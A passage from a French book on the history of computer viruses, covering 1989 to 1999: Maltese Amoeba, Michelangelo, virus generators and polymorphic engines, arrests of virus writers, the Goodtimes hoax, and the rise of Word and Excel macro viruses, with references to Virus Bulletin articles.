virus dveloppe une autre subtilit : an dviter les infections rptition, le virus marque les chiers infects en mettant les secondes 62 dans lheure de modication. La commande DIR du DOS et lExplorateur de Windows nafchent pas les secondes. Le marqueur reste donc invisible pour un utilisateur non averti. Il faudra attendre plusieurs mois avant que les dtecteurs reconnaissent Tequila sans omission. Lorsquils arrivent au bout de leur peine, un nouveau venu, encore plus difcile reprer, voit le jour : Maltese Amoeba.
Dunod La photocopie non autorise est un dlit

Bien quoriginaire de lle de Malte, le virus est dcouvert en Irlande en septembre 1991. Cest un infecteur rapide, il cible les programmes .com et .exe lexcution comme louverture. Le 15 mars et le 1er novembre, il crase certaines zones des disques durs. Une fois le travail accompli lcran ashe priodiquement et indniment. Au redmarrage de la machine, un pome safche lcran. Il sagit des 4 premires lignes des Auguries of Innocence du peintre, graveur et pote visionnaire anglais William Blake : To see a world in a grain of sand And a heaven in a flower
1. Mathmaticien franais dorigine polonaise n en 1924. Il dcouvre les fractales, objets mathmatiques dont la cration ou la forme ne trouve ses rgles que dans lirrgularit ou la fragmentation. Voir : http://perso.magic.fr/ormerry/fractales/fractal.html. 2. Virus Bulletin, juin 1991, p24.

56

Chapitre 2. Historique de linnocence la tentation criminelle

Hold infinity in the palm of your hand And eternity in an hour. THE VIRUS 16/3/91. Un autre texte est contenu dans le code viral, il est visible une fois dcrypt et nous renseigne sur lorigine du virus : AMOEBA virus by the Hacker Twins (C) 1991 This is nothing, wait for the release of AMOEBA II The universal infector, hidden to any eye by ours! Dedicated to the University of Malta-the worst educational system in the universe, and the destroyer of 5X2 years of human life. la lecture de cet pitaphe, certains proposrent de mener des recherches dans luniversit maltaise. Ils espraient y trouver 2 tudiants entrs dans ltablissement en 1986 ou 87, toujours prsents en mars 1991, poursuivant un cycle dtude de 5 annes et ayant tudis Williams Blake1.

2.10.4 Tous azimuts pour les virus et les anti-virus


Au cours des annes 1990, le nombre des virus augmente fortement. Le phnomne intresse les chercheurs et sduit les diteurs de logiciel. En janvier 1991, on estime quil existe entre 200 300 virus. Le 7 dcembre 1990, la presse franaise annonce le lancement par Symantec de Norton Antivirus 1.0. Il comprend un module rsident en mmoire (Virus Intercept) et un module de diagnostic (Virus Clinic). De son cot, Joe Wells, commence sa carrire de chercheur anti-virus chez Certus International. Mark Ludwig sort son livre The Little Black Book of Computer Viruses2. Il contient des informations gnrales sur les virus et des codes sources. Les virus prsents nont rien dinnovant. Ils se nomment Timid, Intruder, Kilroy, Stealth. Deux ans plus tard, la traduction franaise du livre3 par Jean-Bernard Condat est trs controverse en France. Pour les anti-virus, le travail nest pas simple. Le DOS ne grant que 640 Ko, les chanes de recherches tiennent de moins en moins facilement en mmoire. Lantivirus et les pilotes rseau se bousculent, ils ont parfois bien du mal cohabiter. Le temps danalyse augmente, les identications ne sont pas toujours exactes et les confusions entranent des erreurs de rparation. Les utilisateurs se plaignent et les
1. BECKETT, James, (1991), Maltese Amoeba Poetic Injustice, Virus Bulletin, Dcembre 1991, pp15-16. 2. LUDWIG Marc, (1991), The Little Black Book of Computer Viruses, American Eagle Publication, Inc., ISBN 0-929408-02-0. 3. LUDWIG Marc, (1993), Naissance dun Virus, Addison-Wesley, Traduit de langlais (amricain) par Jean-Bernard Condat, ISBN : 2-87908-063-7.

2.10 1989 1992 : Investigation et challenge

57

auteurs de virus sen donnent cur joie. Regroups autour de BBS nationaux clandestins, ils facilitent la propagation et vulgarisent leur savoir. Dark Avenger nest pas seul, tout un chacun cherche faire connatre ses crations pour simposer comme prcurseur dans le domaine : En octobre 1989, Frodo est dcouvert Hafa en Isral. Il sagit du premier virus programme totalement furtif. De par sa conception, il doit endommager les disques durs, compter du 22 septembre de chaque anne mais un disfonctionnement nentrane quun arrt brutal de la machine. De leur cot, des auteurs bulgares diffusent le virus 512, lui aussi totalement furtif. Un autre virus fonctionne encore plus mal que Frodo, mais sa taille et sa complexit intrigue. Apparu en aot 90, Whale comporte de nombreuses techniques de protection contre le dsassemblage et en fait le premier virus dfensif. En Avril 1990, apparat le premier virus compagnon (AIDS-II.8064). Son origine semble tre hollandaise. Contrairement ses prdcesseurs, il laisse inchang le fichier .exe quil vise mais cre un fichier .com du mme nom. Tirant partie de la priorit rserve par le DOS aux fichiers .com vis vis des .exe, le code viral sexcute de manire prioritaire lappel du programme. En janvier 1991, un virus multipartite dun genre particulier est dcouvert Moscou1. Surnomm Starship, il maintient son code dans lespace ddi la mmoire vido pour ne se transfrer en mmoire RAM. Il contient des routines interdisant son traage et son dsassemblage. Lenvironnement NetWare de Novell fait lobjet dexprimentations, en juin 1991. GP1 est driv de Jerusalem. Son auteur cherche dmontrer quil est possible de dtourner des mots de passe. Le code ralisant cette fonctionnalit est bogu, mais peut, selon les experts, tre aisment rendu fonctionnel2. En septembre 1991 apparat le premier virus dlocalis. Venant de Bulgarie, DIR-II modifie les entres de la table dallocation des fichiers faisant pointer lensemble des fichiers cibls vers un mme cluster3. Cach l en un seul exemplaire, le virus sexcute avant de redonner la main au programme lgitime4. cette poque la Bulgarie fait de plus en plus parler delle. Vesselin Bontchev crit en 1991 un document intitul les usines virus russes et bulgares5. Il explique que le pays occupe depuis 1989 la premire place pour le nombre de
1. MUTTIK Igor, 1992, STARSHIP interresting le-boot virus, Disponible ladresse: http://sacftp.externet.hu/text16.html. Fichier STARSHIP.ZIP. 2. BABCOCK, Eric, (1991), Novells Analysis of the GP1 Virus, Virus Bulletin, Aot 1991, p9. 3. Sur un support physique, ensemble de secteurs qui se suivent immdiatement dun point de vue logique. Cest lespace le plus petit pouvant tre gr par le systme. Limit un secteur pour les disquettes, il varie selon la taille du disque dur. 4. BATES, Jim (1991), DIR II The Much Hyped Linking Virus, Virus Bulletin, Novembre 1991, pp11-14. 5. BONTCHEV Vesselin, (Septembre 1991), The Bulgarian and Soviet Virus Factories, Premire confrence du Virus Bulletin .

Dunod La photocopie non autorise est un dlit

58

Chapitre 2. Historique de linnocence la tentation criminelle

virus crs chaque anne. Ils font lobjet de nombreuses variantes (Murphy, Nomenclatura, Beast, Tiny). Toutes les avances techniques sont analyses par les adeptes des diffrents BBS qui souvrent dans de nombreux pays. Prcurseurs dInternet, ils proposent des centaines de virus au tlchargement. Cest du donnant-donnant. Il faut apporter soimme des nouveauts pour pouvoir obtenir quelques souches intressantes. Cette pratique provoque la multiplication des chiers suspects. Nombre dentre eux sont innocents ou bogus. Ils encombrent les laboratoires de recherche et doivent tre dtects au risque dapparatre moins performant.

2.10.5 La riposte des chercheurs


Le 19 avril 1991, un journal local allemand Der Aarbote prsente 2 nouvelles organisations ddies la lutte anti-virale : le CARO (Computer Antivirus Research Organization). Autour du professeur Klaus Brunnstein, il regroupe les scientifiques en les aidant coordonner leurs travaux. lEICAR (European Institute for Computer Anti-Virus Research). Il doit rassembler les socits commerciales du domaine, les scientifiques et les utilisateurs sintressant la recherche anti-virale. Le CARO avait t cr en dcembre 1990. la mi-1991, il comprenait 7 membres : Vesselin Bontchev, Acadmie des Sciences de Sofia, Universit dHambourg. Klaus Brunnstein, Universit de Hambourg. Christoph Fischer, Universit de Karlsruhe, Micro-BIT Virus Center. Alan Solomon, S & S International, Grande Bretagne. Fridrik Skulason, Universit de Reykjavik. Morton Swimmer, Universit dHambourg. Michael Weiner, Universit of Vienne.

Le 24 septembre 1991 Bruxelles, souvre la premire confrence EICAR/ CARO. Christoph Fisher lance une invitation sur VIRUS-L. La veille, lEICAR est ofciellement fonde. Outre la plupart des membres du CARO, on retrouve une trentaine de personnes dont entre autre : Paul Ducklin (Afrique du Sud). Paul Langemeyer (Allemagne). Gunther von Gravenreuth (Allemagne). Gunther Musstopf (Allemagne).

2.11 1992 1995 : Gnrateurs et sophistication

59

Roger Riodan (Australie). Eddy Willems (Belgique). Ces deux organismes existent encore aujourdhui. Le CARO est un lieu de dchanges privs entre spcialistes. Lun de ses rles est lunication des noms des virus. Il permet aussi des changes rapides et scuriss. Il na aucune ouverture vers le public et les mdias. Active dans les pays germanophones, lEICAR concentre ses efforts dans la lutte contre la programmation et la prolifration des codes malveillants, tel que les virus informatiques ou les chevaux de Troie, et contre la dlinquance informatique, la fraude et lutilisation dtourne des ordinateurs et rseaux informatiques. Elle organise chaque anne une confrence qui rassemble une grande partie des spcialistes du domaine.

2.10.6 Michelangelo
En 1991, en Australie, Roger Riordan de Cybec dcouvre une nouvelle variante de Stoned. Il constate que le virus se dclenche le 6 mars. Ce jour l, il est programm pour craser une zone denviron 8 mgaoctets sur les disques durs infects. Pour lui trouver un nom de baptme, Roger cherche un vnement attach cette date. Il surnomme alors sa trouvaille Michelangelo dont lanniversaire de naissance est le 6 mars (1475). Ce virus provoquera en 1992 le principal vnement mdiatique du domaine. Son apparition marque aussi la n dune poque. Jusquici les virus taient souvent rests discrets et cantonns dans un monde de spcialistes. Ils vont maintenant sortir au grand jour.

Dunod La photocopie non autorise est un dlit

2.11 1992 1995 : GNRATEURS ET SOPHISTICATION


Mme si leur cration fut longtemps aurole de mystre, la mise au point dun virus a rarement ncessit de capacits intellectuelles particulires. Bons nombres de groupes ou dindividus voulurent cependant en rendre lcriture plus facile en diffusant des gnrateurs de virus. Toute personne curieuse et sachant taper sur un clavier put ainsi sinitier lcriture virale. En 1990, le premier gnrateur voit le jour en France. Il se nomme Genvirus. Distribu directement par son auteur, il est conu comme un logiciel dapplication classique avec ses menus droulants. Le choix des techniques dinfection est vari ; il en est de mme pour les actions de perturbation et de destruction. Semblablement ses futurs cousins trangers, il est prsent comme un logiciel de test danti-virus : GENVIRUS a t crit pour comprendre et dmontrer le fonction-

60

Chapitre 2. Historique de linnocence la tentation criminelle

nement des virus informatiques et galement tester lefcacit de la protection des programmes antivirus disponibles sur le march. Originaire dAllemagne, vint ensuite, en mars 1991, VCS V1.0 (Virus Construction Set). Avec cet outil, tous les virus gnrs ont la mme taille. Une chane de dtection unique permet la dtection de toutes les variantes cres. Manta fut la plus connue dentres-elles. Ces premiers gnrateurs ntaient pas trs techniques. Il fallut attendre 1992 pour voir des outils capables de produire de nombreux virus distincts. Au travers de ces outils, ce sont en fait les groupes NuKE (USA, Californie) et Phalcon/Skism (Canada) qui se mesurent : en juillet 1992, VCL, Virus Creation Laboratory est propos par Nowhere Man, membre du groupe NuKE. VCL possde une interface graphique soigne et efficace. En quelques clicks souris vous crez votre virus. PS-MPC, Phalcon/Skism Mass-Produced Code Generator 0.90B est cr par Dark Angel. Il sort le mme mois. Sur les traces de Dark Avenger, un Hollandais du groupe TridenT au pseudo de Masud Khar crit TPE : Trident Polymorphic Engine. Cest un outil complexe et sophistiqu qui t lobjet de plusieurs versions successives. Sous la forme dun chier objet, cest un module, qui doit tre inclut dans un programme pour le rendre capable de produire des routines polymorphes. Lensemble doit tre compil avant utilisation. TPE.1_0.Girafe.A est lun des virus que lauteur cra partir de son engin. En 1993, Dark Angel, du groupe canadien Phalcon/Skism lance DAME : Dark Angels Multiple Encryptor. Ce nouvel outil est diffus au travers de leur revue lectronique 40Hex1. La course aux outils de mutation se poursuit ensuite inlassablement : Avril 1993 Mark Ludwig / USA VME (Visible Mutation Engine). Aot 1993 Black Wolf /USA Ultimate Mutation Engine. Septembre 1993 Black Baron / Grande-Bretagne SMEG (Simulated Metamorphic Encryption Generator). Septembre 1993 Dark Slayer /Taiwan DSME (Dark Slayer Mutation Engine). Dcembre 1993 Mark Ludwig / USA DGME (Darwinian Genetic Mutation Engine). Dcembre 1993 Bit Addict / Hollande DMU (Dutch Mutation Unit). Une trentaine de nouveaux programmes du mme type voient le jour en 1994. Cette profusion doutils et donc de virus potentiels amnent les concepteurs danti-

1. 40 HEX : premier numro en juin 1991, quatorzime et dernier numro en avril 1995.

2.11 1992 1995 : Gnrateurs et sophistication

61

virus amliorer sans cesse les routines de dcryptage gnrique qui sactivent avant le processus didentication virale.

2.11.1 Natas, One_Half et les autres


Les virus proviennent du monde entier et deviennent de plus en plus courant. La proportion de virus destructeurs est stable, mais les dommages sont plus frquents. Plusieurs nouveauts posent de gros problmes. En septembre 1992, alors que Windows 3.1 voit le jour, les auteurs de virus sattaquent avec succs la structure de ses excutables (New EXE les). Masud Khar, auteur de TPE, propose Winvir_1_4. Non rsidant en mmoire, le virus nest pas performant. Nanmoins, il tient compte de la structure segmente des chiers windows. La chane de caractres MK92 contenue dans le code reprend les initiales de lauteur. Il faudra attendre mars 1996 pour quun virus ddi Windows 3.x se propage de manire importante : il sagit de W16/Tentacle.1966. Aprs Winvir_1_4, Massud Khar diffuse en janvier 1993 Cruncher. Cest aussi une premire. Cest un virus compresseur qui compacte les chiers .com quil infecte. Le rsultat est surprenant et t dire certains quil sagissait galement du premier virus bnque1. On constate en effet quun disque dur infect a son espace disponible augment sans perte de donnes. Dans le 40Hex de dcembre 1993, un amricain au pseudo de Priest prsente Natas2. Dans la ligne de Tequila, le virus est furtif, polymorphique et multipartite. Certaines sources indiquent quil fut crit par un employ dune socit anti-virus amricaine. Selon Georges Smith3, cest aprs avoir crit le virus que son auteur aurait t approch par Norman Data. Il sagirait dun adolescent de San Diego (USA) du nom de James Gentile. Ecrit en Tchcoslovaquie en 1994, One_Half arrive comme un nouveau cassette pour les compagnies anti-virales. Une partie de son code est parpill en divers endroits du chier quil infecte. Il faut suivre son cheminement pour pouvoir esprer le dcrypter, le dtecter et lradiquer de manire efcace. chaque dmarrage de la machine, le virus crypte deux cylindres du disque dur. Il commence la n du disque et ne sarrte que lorsque celui-ci est crypt de moiti4. Cest ce moment quil se manifeste visuellement, il afche le message Dis is one half. Tant que lordinateur est contamin, le virus dcrypte les donnes la vole. Si lutilisateur nettoie sans prcaution son disque, son contenu est perdu. Pour le rcuprer, il faut faire appel des outils spciaux et des procdures manuelles complexes.
1. KASPERSKY Eugne (1993a), Cruncher The rst Benecial Virus ?, Virus Bulletin, juin 1993, pp8-9. 2. Satan lenvers. 3. SMITH Georges (1996), The Virus Creation Labs: A Journey Into the Underground, American Eagle, ISBN 0-929408-09-8. 4. KASPERSKY Eugne (1994b), One_Half: The Lieutenant Commander ?, Virus Bulletin, octobre 1994, pp 9-10.

Dunod La photocopie non autorise est un dlit

62

Chapitre 2. Historique de linnocence la tentation criminelle

Bien dautres virus sont crs ces annes l. Cest la course la sophistication : En octobre 1992, le virus systme EXEBug modifie la CMOS1 pour interdire le dmarrage sur disquette ; en dcembre 1992, Dark Avenger distribue Commander Bomber. Jusqu prsent, les virus positionnaient physiquement leur code avant ou aprs le code du programme originel (appending ou prepending virus) ; dautres se contentaient dcraser leur cible en prenant leur nom (overwriting virus). Commander Bomber insre son code une position choisie alatoirement. Avant dcraser la zone choisie, il la dplace en fin de fichier. Le saut vers son code se fait depuis le point dentre normal aprs une longue succession dinstructions sans intrt (junk code) destine tromper les anti-virus2 ; au dbut 1993, BatMan devient le premier virus rsidant en mmoire ciblant les fichiers de commandes (.bat, type batch). Il est capable dinfecter dautres fichiers du mme type. la mme poque, Tremor devient le premier rtro-virus. Avant dcrire le virus, son auteur, un allemand au pseudo de Neurobasher prit le temps de dsassembler divers anti-virus. Le virus est en effet capable de dsactiver le module rsident de VSAFE (Central Point Anti-Virus) et de modifier son emplacement en mmoire si F-PROT tait lanc simultanment3. Fin 1993, Arj-virus dmontre quil est possible dinfecter un fichier lintrieur dune archive. En janvier 1994, Eugne Kaspersky reoit un virus capable dinfecter les fichiers objets (.obj) pr-excutables. Ces fichiers sont les intermdiaires entre les fichiers sources du programmeur et lexcutable produit par lditeur de lien (linker)4. Surnomm Shifting Objectives, le virus infecte les fichiers assigns la cration des .com. Selon un principe similaire, des virus sattaquant directement aux fichiers sources des compilateurs C et Pascal sont aussi rencontrs la mme poque5. En octobre 1994, un virus capable dinfecter le fichier systme io.sys (ou son quivalent ibmbio.com) est dcouvert Moscou. Il sagit du premier virus sattaquant aux routines BIOS du DOS. Il est baptis 3APA3A ; il faut prononcer Zaraza, qui correspond en russe au terme infection. Polymorphique et difficile radiquer, il se propage via les changes de disquettes6.

1. CMOS : Sigle de semi-conducteur doxyde de mtal complmentaire (Complementary Metal Oxide Semiconductor). Dans les ordinateurs, les puces de mmoire CMOS sont souvent utilises pour lenregistrement en mmoire non volatile des donnes dinitialisation. 2. VB, 1992a, Commander Bomber, Virus Bulletin, dcembre 1992, pp10-11. 3. BATES, Jim (1993), Tremor A Shaky Start for DOS 6 ?, Virus Bulletin, mars 1993, pp 10-11. 4. KASPERSKY Eugne (1994), Shifting Objectives, Virus Bulletin, mars 1994, pp11-12. 5. KASPERSKY Eugne (1994), Lock up your Source code!, Virus Bulletin, juin 1994, pp 10-11. 6. KASPERSKY Eugne (1994), 3APA3A: The IO.SYS Hunter, Virus Bulletin, novembre 1994, pp 9-10.

2.11 1992 1995 : Gnrateurs et sophistication

63

En septembre 1995, Rainbow rend tout PC infect totalement inaccessible depuis un environnement sain. Il exploite une vulnrabilit du DOS. Grce une chane hexadcimale particulire positionne dans la table de partition, il devient impossible de dmarrer la machine depuis une disquette saine. Le processus dabouti pas et la machine reste fige sans atteindre le prompt DOS1. Avant lui, en 1993, Monkey utilisait une autre technique moins sophistique : le dmarrage depuis une disquette saine aboutissait, mais le disque dur tait invisible. Il fallait latteindre en mode physique pour rtablir correctement la dfinition des disques logiques. En juillet 1993, la premire WILDList est poste par Joe Wells. Dix chercheurs y annoncent les 47 virus quils ont effectivement rencontrs en dehors de leurs laboratoires ou de leurs zoos. Lexpression in-the-wild est ne !

2.11.2 Quelques arrestations


Lalerte Michelangelo a motiv les autorits de plusieurs pays. Des recherches sont faites et quelques auteurs de virus sont facilement identifis. En dcembre 1992, puis le 27 janvier 1993 des membres du groupe ARCV (Association of Really Cruel Viruses) sont arrts dans diverses villes de Grande-Bretagne. Ils sont accuss dtre les auteurs de plus de 50 virus2. Cest initialement pour une affaire en lien avec des fraudes tlphoniques que Stephen Kapp, connu pour tre le prsident dARCV, est interpell. Divers membres du groupe sont connus par leur pseudo :
Dunod La photocopie non autorise est un dlit

Apache Warrior (Stephen Kapp). Ice-9. Toxic Crusader. Slartibartfast.

En mars 1994, Virus Bulletin annonce la dcouverte dun nouveau virus en Grande Bretagne3. Dnomm SMEG-Pathogen, il a t dcouvert in-the-wild. Destructeur et hautement polymorphique, il contient divers subterfuges rendant sa dtection difcile. Il est sign Black Baron. Le New Scotland Yard arte un suspect Plymouth ; cest un chmeur britannique de 26 ans du nom de Christopher Pile. Il reconnat les faits, le 26 mai 1995, il est reconnu coupable et condamn 18 mois de prison4.

1. KAMINSKY Jakub (1995), Rainbow : To Envy or to Hate, Virus Bulletin, septembre 1995, pp 12-13. 2. VB, 1992b, The ARCV, Virus Bulletin, novembre 1992, pp 3-4. 3. VB, 1994a, Pathogen Virus Warning, Virus Bulletin, mars 1994, p 3. 4. VB, 1995, Black Baron Pleads Guilty, Virus Bulletin, juin 1995, p 3.

64

Chapitre 2. Historique de linnocence la tentation criminelle

2.11.3 Goodtimes & Gt-Spoof


Lune des plus fameuses rumeurs voit galement le jour en 1994. Portant le nom de Goodtimes, elle circule sur Internet et annonce quun virus se propage par e-mail1. Du fait de sa persistance, le CIAC (Computer Incident Advisory Capability) met un avertissement en dcembre 1994. Il indique clairement quil sagit dune lgende urbaine, dun hoax2. Au mme moment, le 21 dcembre, Jol McNamara diffuse de manire limite une tude sur la macro DMV3. Il indique que cest cette rumeur qui la dcid crire. Il veut dmontrer la faisabilit de la propagation dun virus par e-mail, pour peu que la messagerie utilise offre louverture automatique dun document joint (labrviation DMV signie Document Macro Virus). Aujourdhui, la ralit a de loin dpasse la ction. En 1995, le code source dun virus dnomm Good Times sera distribu dans le magazine VLAD#4 (Virus Labs And Dist). Son auteur, surnomm Qark, cherche perturber le public. Le virus utilise un gnrateur polymorphique dnomm RHINCE (Rickety and Hardly Insidious yet New Chaos Engine). Dans le code source du virus, on retrouve le message : Remember to email all your friends, warning them about Good Times. Pour viter toute confusion, les socits antivirales dcideront de le baptiser GTSpoof4.

2.12 1995 1999 LARRIVE DES VIRUS INTERPRTES


En 1995, Vesselin Bontchev termine sa thse. Il quitte luniversit de Hambourg ou il participait activement aux travaux du Virus Test Center. Il rejoind F-PROT Development en Islande. Aux tats Unis, McAfee dcide la cration du groupe AVERT5. En associant leur quipe de Santa Clara des chercheurs issus dautres pays, ils vont, petit petit, tendre leur capacit de ractiv face des virus apparaissant aux divers points de la plante.
1. Hoax : Faux virus et vrais rumeurs : https://www.clusif.asso.fr/fr/production/infovir/hoaxes/g02.asp. 2. CIAC, 1994, THE "Good Times" VIRUS IS AN URBAN LEGEND, Document disponible ladresse : http://ciac.llnl.gov/ciac/notes/Notes04c.shtml. 3. http://www.eskimo.com/~joelm La page en question a aujourdhui disparu. Sur son site, Jol McNamara propose maintenant ses livres. Certains dentre eux traitent de la scurit informatique. 4. VB, 1995b, No Good Times Here !, Virus Bulletin, juin 1995, p 3. 5. AVERT : Anti-Virus Emergency Response Team.

2.12 1995 1999 Larrive des virus interprtes

65

En octobre 1994, je rejoignais la petite quipe de VIF/ASSURDATA. Ctait elle qui, en France, diffusait les produits McAfee. Avec Marius Van Oers (McAfee Hollande), nous sommes les deux premiers europens rejoindre AVERT. Les virus de macros font leur apparition durant lt 1995. Comme nous avons dit prcdemment, lide nest pas nouvelle, mais cette mise en circulation contraint les entreprises rviser leur politique de scurit. En effet, il leur faut intgrer le fait que les virus ne se propagent plus exclusivement via un programme excutable mais aussi par le biais de chiers bureautiques que lon avait tendance considrer comme de simples chiers de donnes.

2.12.1 WM/Concept
Le virus est dcouvert en aot 1995 par Sarah Gordon (Command Software Systems)1. Il nest pas plus dangereux que les autres mais il utilise un nouveau type de transport : les documents Word. Le virus se prsente sous la forme de plusieurs macros cres en Word Basic. Lune dentre elle sexcute automatiquement louverture du document. Une autre permet linfection de tout nouveau document sauvegard. Le virus fonctionne avec Word, aussi bien sous DOS, sous Windows que sous Macintosh (versions 5, 6 & 7). Jimmy Kuo alors directeur du groupe AVERT de McAfee propose le nom de Concept. La rumeur prtend que le virus a t diffus accidentellement par Microsoft2. Le nom dalias Prank (escapade en anglais) aurait dailleurs t choisi par cette socit an desprer diminuer limportance de laffaire. Cest dans un document de type FAQ3, crit par Richard John Martin, que lon trouve linformation la plus dtaille4. Dans lurgence, et alors que dautres macro-virus apparaissent, Microsoft livre un correctif nomm ScanProt. Lintention originelle tait la protection contre Concept.A et la mise disposition dun mcanisme dalerte pour les utilisateurs ouvrant un document contenant des macros. Bien involontairement, les diverses versions de ScanProt participrent la propagation des virus en vhiculant certains dentre eux. Le compagnonnage entre un virus existant et ScanProt aboutit mme par la cration de variantes. Les concepteurs de produits anti-virus ne recommandrent pas la solution ScanProt. Ils modirent leurs produits en y intgrant des solutions applicables tout nouveau virus crit en Word Basic.
1. GORDON Sarah, (1995b), What a (Winword) Concept, Virus Bulletin, septembre 1995, pp 8-9. 2. VB, 1995a, Winword.Concept, Virus Bulletin, octobre 1995, p 3. 3. FAQ : Frequently Asked Question. 4. MARTIN, Richard John (1996), MS WORD 6.x MACRO VIRUSES FAQ V2.0 for the ALT.COMP.VIRUS Newsgroup. Document disponible ladresse : http://www.textles.com/virus/ wordmacro.txt.

Dunod La photocopie non autorise est un dlit

66

Chapitre 2. Historique de linnocence la tentation criminelle

Also known by the Aliases of WW6Macro, WinWord.Concept, Word Basic Macro Virus (WBMV), Word Macro 9508 <MAC> and Prank Macro <MicroSoft named it Prank, to downplay the seriousness of the situation>. This was the first MS Macro Virus to be detected by the Anti-Virus community, and the first Macro Virus to be considered in the wild, with infections spreading to the US, UK, France, Germany, Bulgaria, Canada, the Netherlands, Turkey, and Finland, and other Countries. The proliferation of this virus is widespread, mainly due to 2 companies ACCIDENTLY shipping this virus in infected documents found on their CD-ROMS. The first CD-ROM was MicroSoft Windows 95 Software Compatibility Test which was shipped to thousands of OEM companies in mid 1995. In August/September Microsoft distributed the Concept virus on a CD-ROM in the UK called "The Microsoft Office 95 and Windows 95 Business Guide" The infected file is \Office95\Evidence\Helpdesk.DOC, dated August 17th, 1995, <121,856 bytes> The third CD was Snap-On Tools for Windows NT which was distributed by ServerWare, who immediately withdrew it, warned recipients, and re-mastered it. MicroSoft Corp. is to be commended for acknowledging their part in the spreading of this new virus, <calling it a PRANK> and their effort in controlling the spread of it. They were quick to respond to this new Virus threat with a Macro Scanner/Cleaner which is available freely for download from MSN and associated services. <Note: its buggy>
Figure 2.1 Lorigine suppose de Winword.Concept

2.12.2 W95/Boza & Linux/Staog by Quantum


Sous le pseudo de Quantum se cache lauteur du premier virus ciblant Windows 95. tant le premier infecter les fichiers PE1, il atteint une certaine notorit ds fvrier 1996. W95/Boza2 est pourtant un virus trs simple et non-rsident en mmoire. Le 31 de chaque mois, il afche une boite de dialogue reprenant la liste des membres du groupe auquel lauteur appartient (Metabolis, Qark, Darkman, Automag, Antigen, RhinceWind, Quantum, Absolute Overlord & CoKe). Outre ce message, le virus contient le texte : Please note : the name of this virus is [Bizatch] written by Quantum of VLAD. La communaut antivirale lui prfrera le nom de Boza.

1. PE est labrviation relative au format des chiers excutables 32-bits de Windows (Portable Executable). 2. VB, 1995d, Hot 95 : New Kids on the Block, Virus Bulletin, fvrier 1995, pp 15-16.

2.12 1995 1999 Larrive des virus interprtes

67

Avec toute une srie de tutoriaux, le code source du virus fut prsent dans le numro 6 de VLAD. Dans le numro suivant, Quantum prsente le premier virus ciblant Linux. Il le dnomme Staog et ne fonctionne que sur des machines possdant un noyau 1.2.13. Cest un virus crit en assembleur. Rsident en mmoire, il infecte les chiers au format ELF1 ds quils sont excuts. Les premiers virus ciblant le systme dexploitation OS2 voient aussi le jour en juin 1995 (OS2/DA, OS2rst et OS2/DA.Jiskefet). Souvent annonc comme le premier virus li ce systme dexploitation, OS2.AEP napparatra quun an plus tard.

2.12.3 Linvasion des macro-virus


Aprs la russite mdiatique de Concept, Excel tait la prochaine cible. Il fallut attendre juillet 1996, pour voir apparatre XM/Laroux, premier virus de macro oprationnel sous Excel version 5.0 et suprieures2. galement dcouvert par Sarah Gordon, il se diffrentiait de ses cousins par lutilisation du langage VBA (Visual Basic for Application). cette poque, seuls Excel et Access taient dots de ce langage. Word se limitait encore au Word Basic. En janvier 1997, Microsoft diffuse Ofce 97. Word et PowerPoint reoivent une extension supportant le VBA. louverture dun document Word dancienne gnration, les macros crites en Word Basic se convertissent automatiquement au nouveau format. En fvrier 1997, lhistoire se rpte, Microsoft diffuse son insu la nouvelle version de WM/Wazzu.A3. Elle prendra le nom de W97M/Wazzu.A. Ces 2 souches dun mme virus sont totalement diffrentes. Les anti-virus qui dtectaient sans problme la premire ne dtectent plus la seconde. Le phnomne se reproduit sans discontinuer avec de nombreux autres virus crits en Word Basic. Certains concepteurs de produits anti-virus sont tents de faire eux mme le travail de conversion pour tous les virus de leurs collections et une polmique sinstalle. Les uns disent quil nest pas thique de faire cette mutation car elle sapparente la cration dun nouveau virus. Les autres argumentent que du fait quun de leur client peut le faire, ils se doivent de le devancer pour le protger. Les premiers virus ciblant Word et directement crits en VBA5 ne tardent pas apparatre. Lun dentre eux sintitule W97M/NightShade, il ne se propage quavec Ofce 97 et utilise lAssistant Ofce pour annoncer sa prsence. Le code viral qui ne consiste quen une seule macro est inclus dans un nouveau module reprenant le nom du virus4.
1. ELF est labrviation relative au format des chiers excutables du monde UNIX (Executable Linkable Format ). 2. GORDON Sarah (1996), Excel Yourself !, Virus Bulletin, aot 1996, pp 9-10. 3. VB, 1997a, The Word of the Day, Virus Bulletin, mars 1997, pp 6-7. 4. KILLING Martin (juin 1997), Deadly NightShade, Virus Bulletin, juin 1997, pp 9-10.

Dunod La photocopie non autorise est un dlit

68

Chapitre 2. Historique de linnocence la tentation criminelle

En juin 1997, une autre technique dinfection voit le jour. W97M/Class najoute pas de module VBA5 ; il positionne son code dans le module prexistant : ThisDocument. 2 ans aprs WM/Concept, le cap des 1000 macro-virus est atteint. Cherchant contrer leur propagation, Microsoft sort un correctif. Microsoft Ofce 97 Service Release 1 (SR-1) neutralise certains processus de propagation virale. En Avril 1998, W97M/Groov devient le premier virus anti-SR-1.
Tableau 2.1 volution du nombre de macro-virus daprs les diverses Macro Virus List prpares par Vesselin Bontcheva Date Aot 1995 Juillet 1996 Dcembre 1996 Juillet 1997 Dcembre 1997 Avril 1998 Dcembre 1998 Juin 1999 Septembre 1999 Mai 2000 Dcembre 2000 Juin 2001 Septembre 2001 1 27 84 253 317 383 533 703 775 946 1048 1106 1134 Nombre de familles 1 35 205 1193 1826 2306 3333 4132 4593 5664 6488 6831 6855 5 10 11 12 13 17 17 17 55 Nombre de virus Nombre de gnrateurs

a. BONTCHEV Vesselin (1996-2001), Macro Virus List. Documents disponibles ladresse : ftp://agn-www.informatik.uni-hamburg.de/pub/texts/macro/.

Toute la suite Ofce de Microsoft est bientt atteinte dans ses diffrentes versions. Malgr quelques tentatives, les autres plates-formes telles que Lotus ou Corel ne seront jamais une vritable cible. Les auteurs de virus prfrent sacharner sur le leader mondial. Au cours de ces annes, la principale surprise vient de France, en janvier 1998. Elle se nomme XF/Paix. Cest un virus qui utilise le langage des formules propre Excel 4.0. Bien que faiblement document, il est toujours prsent dans les versions

2.12 1995 1999 Larrive des virus interprtes

69

suivantes dExcel. Le virus nutilise pas de macro, mais des formules positionnes dans les zones de donnes dune feuille de calcul quil cre et maintient invisible aux utilisateurs. Le virus se manifeste de faon alatoire : 1 chance sur 100. Il bloque alors la session de travail Excel en afchant une fentre intitule Enn la Paix Entre 1996 et 1998, les virus systme disparaissent petit petit. Alors quils reprsentaient 80 % environ des alertes virales recenses en 1995, la tendance sinverse en faveur des macro-virus qui, en 1998, constitueront plus de 80 % des alertes.
